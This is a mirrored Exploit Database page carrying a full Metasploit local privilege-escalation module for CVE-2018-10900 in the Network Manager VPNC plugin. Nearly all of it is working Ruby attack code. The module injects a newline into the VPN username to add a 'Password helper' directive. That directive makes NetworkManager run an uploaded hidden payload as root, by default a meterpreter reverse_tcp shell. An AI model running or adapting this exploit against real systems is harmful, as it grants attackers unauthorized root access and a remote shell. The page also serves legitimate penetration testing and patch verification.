Network Manager VPNC 1.2.6 – ‘Username’ Local Privilege Escalation (Metasploit)

• Exploit Database
• 20 阅读

• 作者： Metasploit
  日期： 2018-08-31
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/45313/

• ##
  # This module requires Metasploit: https://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking
  
  include Msf::Post::File
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'Network Manager VPNC Username Privilege Escalation',
  'Description'=> %q{
  This module exploits an injection vulnerability in the Network Manager
  VPNC plugin to gain root privileges.
  
  This module uses a new line injection vulnerability in the configured
  username for a VPN network connection to inject a `Password helper`
  configuration directive into the connection configuration.
  
  The specified helper is executed by Network Manager as root when the
  connection is started.
  
  Network Manager VPNC versions prior to 1.2.6 are vulnerable.
  
  This module has been tested successfully with VPNC versions:
  1.2.4-4 on Debian 9.0.0 (x64); and
  1.1.93-1 on Ubuntu Linux 16.04.4 (x64).
  },
  'License'=> MSF_LICENSE,
  'Author' =>
  [
  'Denis Andzakovic', # Discovery and exploit
  'Brendan Coles' # Metasploit
  ],
  'DisclosureDate' => 'Jul 26 2018',
  'References' =>
  [
  ['CVE', '2018-10900'],
  ['URL', 'http://seclists.org/oss-sec/2018/q3/51'],
  ['URL', 'https://pulsesecurity.co.nz/advisories/NM-VPNC-Privesc'],
  ['URL', 'https://gitlab.gnome.org/GNOME/NetworkManager-vpnc/commit/07ac18a32b4'],
  ['URL', 'https://security-tracker.debian.org/tracker/CVE-2018-10900'],
  ['URL', 'https://people.canonical.com/~ubuntu-security/cve/2018/CVE-2018-10900.html'],
  ['URL', 'https://launchpad.net/ubuntu/+source/network-manager-vpnc/0.9.8.6-1ubuntu2.1'],
  ['URL', 'https://www.debian.org/security/2018/dsa-4253'],
  ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1605919'],
  ['URL', 'https://bugzilla.novell.com/show_bug.cgi?id=1101147']
  ],
  'Platform' => 'linux',
  'Arch' => [ARCH_X86, ARCH_X64],
  'SessionTypes' => ['shell', 'meterpreter'],
  'Targets'=> [['Auto', {}]],
  'DefaultOptions' =>
  {
  'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp',
  'WfsDelay'=> 10,
  'PrependFork' => true
  },
  'DefaultTarget'=> 0))
  register_options [
  OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
  ]
  end
  
  def base_dir
  datastore['WritableDir'].to_s
  end
  
  def upload(path, data)
  print_status "Writing '#{path}' (#{data.size} bytes) ..."
  rm_f path
  write_file path, data
  register_file_for_cleanup path
  end
  
  def upload_and_chmodx(path, data)
  upload path, data
  cmd_exec "chmod +x '#{path}'"
  end
  
  def check
  unless command_exists? 'nmcli'
  vprint_error 'Network Manager nmcli utility is not installed'
  return CheckCode::Safe
  end
  vprint_good 'nmcli utility is installed'
  
  CheckCode::Detected
  end
  
  def exploit
  if is_root?
  fail_with Failure::BadConfig, 'Session already has root privileges'
  end
  
  if check != CheckCode::Detected
  fail_with Failure::NotVulnerable, 'Target is not vulnerable'
  end
  
  @payload_name = ".#{rand_text_alphanumeric rand(10..15)}"
  payload_path = "#{base_dir}/#{@payload_name}"
  
  print_status 'Adding VPN connection...'
  vpn_data = []
  vpn_data << '+vpn.data "IKE DH Group = dh2"'
  vpn_data << "+vpn.data 'IPSec ID = #{rand_text_alphanumeric 5..10}'"
  vpn_data << '+vpn.data "IPSec gateway = 127.0.0.1"'
  vpn_data << '+vpn.data "IPSec secret-flags = 4"'
  vpn_data << '+vpn.data "Local Port = 0"'
  vpn_data << '+vpn.data "NAT Traversal Mode = natt"'
  vpn_data << '+vpn.data "Perfect Forward Secrecy = server"'
  vpn_data << '+vpn.data "Vendor = cisco"'
  vpn_data << '+vpn.data "Xauth password-flags = 4"'
  vpn_data << "+vpn.data \"Xauth username = #{rand_text_alphanumeric 5..10}\nPassword helper #{payload_path}\""
  vpn_data << "+vpn.data 'ipsec-secret-type = #{rand_text_alphanumeric 5..10}'"
  vpn_data << "+vpn.data 'xauth-password-type = #{rand_text_alphanumeric 5..10}'"
  res = cmd_exec "nmcli connection add con-name #{@payload_name} type vpn ifname '*' vpn-type vpnc -- #{vpn_data.join(' ')}"
  if res.include? 'Error'
  fail_with Failure::Unknown, 'Could not create VPN connection'
  end
  
  res = cmd_exec 'nmcli connection'
  unless res.include? @payload_name
  fail_with Failure::Unknown, 'Could not create VPN connection'
  end
  
  print_status 'Uploading payload...'
  upload_and_chmodx payload_path, generate_payload_exe
  
  print_status 'Starting VPN connection...'
  cmd_exec "nmcli connection up #{@payload_name} & echo "
  end
  
  def cleanup
  print_status 'Removing VPN connection...'
  res = cmd_exec "nmcli connection delete #{@payload_name}"
  unless res.include? 'successfully deleted'
  print_warning "Could not remove VPN connection #{@payload_name}"
  end
  super
  end
  end